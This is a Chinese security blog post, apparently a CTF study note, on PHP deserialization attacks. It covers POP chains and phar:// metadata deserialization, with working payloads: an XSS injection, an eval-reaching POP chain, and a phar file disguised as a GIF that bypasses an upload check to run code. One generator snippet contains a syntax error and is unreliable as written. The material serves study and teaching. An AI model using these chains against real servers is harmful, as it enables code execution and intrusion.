PHP反序列化攻击拓展

刚打了护网杯,被打自闭了。其中一道laravel用到了PHP反序列化与POP CHAINphar://。然而PHP反序列化漏洞我也忘完了,这里复习加拓展一波。
复习了一波包包哥的PHP 面向对象与序列化学习

序列化与反序列化

所有php里面的值都可以使用函数serialize()来返回一个包含字节流的字符串来表示。unserialize()函数能够重新把字符串变回php原来的值。 序列化一个对象将会保存对象的所有变量,但是不会保存对象的方法,只会保存类的名字。

  • 序列化与反序列化与两个函数有关,分别是 serialize()unserialize() 这两个函数。
  • 一般常用于传递 object ,object对象没法直接传值,所以需要先序列化为一段 字符串,接收方接收到后进行反序列化操作后即可得到原object对象。
  • 当序列化对象时,PHP将试图在序列动作之前调用该对象的成员函数 __sleep() ,这就允许对象在被序列化之前 做任何清除操作。类似的,当使用 unserialize() 恢复对象之前,将调用 __wakeup() 成员函数
  • 反序列化函数unserialize()接收一个string类型的变量,该值为已序列化后的字符串。
  • 若被反序列化的变量是一个对象,在成功地重新构造对象之后,PHP会自动地试图去调用 __wakeup() 成员函数 (如果存在的话)。

对象的序列化格式

序列化对象时,不会保存常量的值。对于父类中的变量,则会保留。

<?php 
class A{
    private $_private;
    protected $_protect;
    public $_public;

    function __toString()
    {
        return "_private".strval($this->_private).PHP_EOL."_protect".strval($this->_protect).PHP_EOL."_public".strval($this->_public).PHP_EOL;
        // TODO: Implement __toString() method.
    }
    function __construct($a=0,$b=1,$c=2){
        $this->_private=$a;
        $this->_protect=$b;
        $this->_public=$c;
    }
}

$a=new A("123",12.34,456789);
$_a=serialize($a);
$b=unserialize($_a);
echo $_a;
echo "<br>";
echo $b;
echo "<br>";
echo $b->_public;
?>

输出

O:1:"A":3:{s:11:"\0A\0_private";s:3:"123";s:11:"\0*\0_protect";d:12.34;s:7:"_public";i:456789;}
_private123 _protect12.34 _public456789
456789

图片.png

漏洞成因

PHP魔法函数一般是以__开头,通常会因为某些条件而触发不用我们手动调用:

__construct()当一个对象创建时被调用,但在unserialize()时是不会自动调用的。
__destruct()当一个对象销毁时被调用
__toString()当一个对象被当作一个字符串使用 
__sleep() 在对象在被序列化之前运行 
__wakeup将在序列化之后立即被调用

例子

<?php
class A{
    var $test = "demo";
    function __destruct(){
            echo $this->test;
    }
}
$a = $_GET['test'];
$a_unser = unserialize($a);
?>

构造test=O:1:"A":1:{s:4:"test";s:28:"<img src=1 onerror=alert(1)>";}就可以xss。当然还可以结合实际环境造成更大的危害。

反序列化与POP CHAIN

POP CHAIN:把魔术方法作为最开始的小组件,然后在魔术方法中调用其他函数(小组件),通过寻找相同名字的函数,再与类中的敏感函数和属性相关联,就是POP CHAIN 。此时类中所有的敏感属性都属于可控的。当unserialize()传入的参数可控,便可以通过反序列化漏洞控制POP CHAIN达到利用特定漏洞的效果。
通俗点就是:反序列化中,如果关键代码不在魔术方法中,而是在一个类的普通方法中。这时候可以通过寻找相同的函数名将类的属性和敏感函数的属性联系起来。

<?php
class Smi1e
{
    protected $ClassObj;
    function __construct() {
        $this->ClassObj = new safe();
    }
    function __destruct() {
        $this->ClassObj->action();
    }
}

class safe
{
    function action() {
        echo "Here is safe";
    }
}

class unsafe
{
    private $data;
    function action() {
        eval($this->data);
    }
}

unserialize($_GET['test']);

构造POP链。
protected $ClassObj = new evil();是不行的,还是要通过__construct来实例化。
受保护成员变量含有\0*需要URL编码一下。

<?php 
class Smi1e
{
    protected $ClassObj;
    function __construct()
    {
        $this->ClassObj = new unsafe();
    }
}

class unsafe
{
    private $data="phpinfo();";
}
echo serialize(new Smi1e());
?>

payload:test=O%3A5%3A%22Smi1e%22%3A1%3A%7Bs%3A11%3A%22%00%2A%00ClassObj%22%3BO%3A6%3A%22unsafe%22%3A1%3A%7Bs%3A12%3A%22%00unsafe%00data%22%3Bs%3A10%3A%22phpinfo%28%29%3B%22%3B%7D%7D

图片.png

phpggc:收集了一些常见的PHP框架的通用反序列化的小工具链
https://github.com/ambionics/phpggc

phar://

转自Seebug:https://paper.seebug.org/680/#22-demo

概要

通常我们在利用反序列化漏洞的时候,只能将序列化后的字符串传入unserialize(),随着代码安全性越来越高,利用难度也越来越大。但在不久前的Black Hat上,安全研究员Sam Thomas分享了议题It’s a PHP unserialization vulnerability Jim, but not as we know it利用phar文件会以序列化的形式存储用户自定义的meta-data这一特性,拓展了php反序列化漏洞的攻击面。
该方法在文件系统函数(file_exists()、is_dir()等)参数可控的情况下,配合phar://伪协议,可以不依赖unserialize()直接进行反序列化操作。

原理

phar文件结构

在了解攻击手法之前我们要先看一下phar的文件结构,通过查阅手册可知一个phar文件有四部分构成:

a stub

可以理解为一个标志,格式为xxx<?php xxx;__HALT_COMPILER();?>,前面内容不限,但必须以__HALT_COMPILER();?>来结尾,否则phar扩展将无法识别这个文件为phar文件。

a manifest describing the contents

phar文件本质上是一种压缩文件,其中每个被压缩文件的权限、属性等信息都放在这部分。这部分还会以序列化的形式存储用户自定义的meta-data,这是上述攻击手法最核心的地方。
图片.png

the file contents

被压缩文件的内容。

[optional] a signature for verifying Phar integrity (phar file format only)

签名,放在文件末尾,格式如下:
图片.png

Demo测试

根据文件结构我们来自己构建一个phar文件,php内置了一个Phar类来处理相关操作。
注意:要将php.ini中的phar.readonly选项设置为Off,否则无法生成phar文件。

phar_gen.php

<?php
    class TestObject {
    }

    @unlink("phar.phar");
    $phar = new Phar("phar.phar"); //后缀名必须为phar
    $phar->startBuffering();
    $phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
    $o = new TestObject();
    $phar->setMetadata($o); //将自定义的meta-data存入manifest
    $phar->addFromString("test.txt", "test"); //添加要压缩的文件
    //签名自动计算
    $phar->stopBuffering();
?>

可以明显的看到meta-data是以序列化的形式存储的:
图片.png
有序列化数据必然会有反序列化操作,php一大部分的文件系统函数在通过phar://伪协议解析phar文件时,都会将meta-data进行反序列化,测试后受影响的函数如下:
图片.png
通过一个小demo证明一下
phar_test1.php

<?php 
    class TestObject {
        public function __destruct() {
            echo 'Destruct called';
        }
    }

    $filename = 'phar://phar.phar/test.txt';
    file_get_contents($filename); 
?>

图片.png
其他函数当然也是可行的,当文件系统函数的参数可控时,我们可以在不调用unserialize()的情况下进行反序列化操作,一些之前看起来“人畜无害”的函数也变得“暗藏杀机”,极大的拓展了攻击面。

将phar伪造成其他格式的文件

在前面分析phar的文件结构时可能会注意到,php识别phar文件是通过其文件头的stub,更确切一点来说是__HALT_COMPILER();?>这段代码,对前面的内容或者后缀名是没有要求的。那么我们就可以通过添加任意的文件头+修改后缀名的方式将phar文件伪装成其他格式的文件。

<?php
    class TestObject {
    }

    @unlink("phar.phar");
    $phar = new Phar("phar.phar");
    $phar->startBuffering();
    $phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub,增加gif文件头
    $o = new TestObject();
    $phar->setMetadata($o); //将自定义meta-data存入manifest
    $phar->addFromString("test.txt", "test"); //添加要压缩的文件
    //签名自动计算
    $phar->stopBuffering();
?>

图片.png
将后缀改为gif进行测试

<?php 
    class TestObject {
        public function __destruct() {
            echo 'Destruct called';
        }
    }

    $filename = 'phar://phar.gif/test.txt';
    file_get_contents($filename); 
?>

图片.png
采用这种方法可以绕过很大一部分上传检测。

利用条件

  • phar文件要能够上传到服务器端。
  • 如file_exists(),fopen(),file_get_contents(),file()等文件操作的函数要有可用的魔术方法作为”跳板”。
  • 文件操作函数的参数可控,且: / phar等特殊字符没有被过滤。

漏洞验证

upload_file.php后端检测文件上传,文件类型是否为gif,文件后缀名是否为gif

<?php
if (($_FILES["file"]["type"]=="image/gif")&&(substr($_FILES["file"]["name"], strrpos($_FILES["file"]["name"], '.')+1))== 'gif') {
    echo "Upload: " . $_FILES["file"]["name"];
    echo "Type: " . $_FILES["file"]["type"];
    echo "Temp file: " . $_FILES["file"]["tmp_name"];

    if (file_exists("upload_file/" . $_FILES["file"]["name"]))
      {
      echo $_FILES["file"]["name"] . " already exists. ";
      }
    else
      {
      move_uploaded_file($_FILES["file"]["tmp_name"],
      "upload_file/" .$_FILES["file"]["name"]);
      echo "Stored in: " . "upload_file/" . $_FILES["file"]["name"];
      }
    }
else
  {
  echo "Invalid file,you can only upload gif";
  }

upload_file.html

<body>
<form action="http://localhost/upload_file.php" method="post" enctype="multipart/form-data">
    <input type="file" name="file" />
    <input type="submit" name="Upload" />
</form>
</body>

file_un.php存在file_exists(),并且存在__destruct()

<?php
$filename=$_GET['filename'];
class AnyClass{
    var $output = 'echo "ok";';
    function __destruct()
    {
        eval($this -> output);
    }
}
file_exists($filename);

根据file_un.php写一个生成phar的php文件,在文件头加上GIF89a绕过gif,然后我们访问这个php文件后,生成了phar.phar,修改后缀为gif,上传到服务器,然后利用file_exists,使用phar://执行代码
构造eval.php

<?php
class AnyClass{
    var $output = ;
    function __destruct()
    {
        eval($this -> output);
    }
}
$phar = new Phar('phar.phar');
$phar -> stopBuffering();
$phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>');
$phar -> addFromString('test.txt','test');
$object = new AnyClass();
$object -> output= 'phpinfo();';
$phar -> setMetadata($object);
$phar -> stopBuffering();

访问eval.php生成phar.phar,将后缀改为gif。
图片.png
然后上传到目录下与file_un.php同目录,利用file_un.php中的危险函数getshell
payload:file_un.php?filename=phar://phar.gif/test
图片.png

Referer

PHP反序列化

浅谈php反序列化漏洞

PHP CHAIN

初探反序列化与POP CHAIN

phar

利用 phar 拓展 php 反序列化漏洞攻击面
初探phar://
[CTF] DefCamp CTF Qualification 2018: Vulture (Web) Write-up

发表评论

电子邮件地址不会被公开。 必填项已用*标注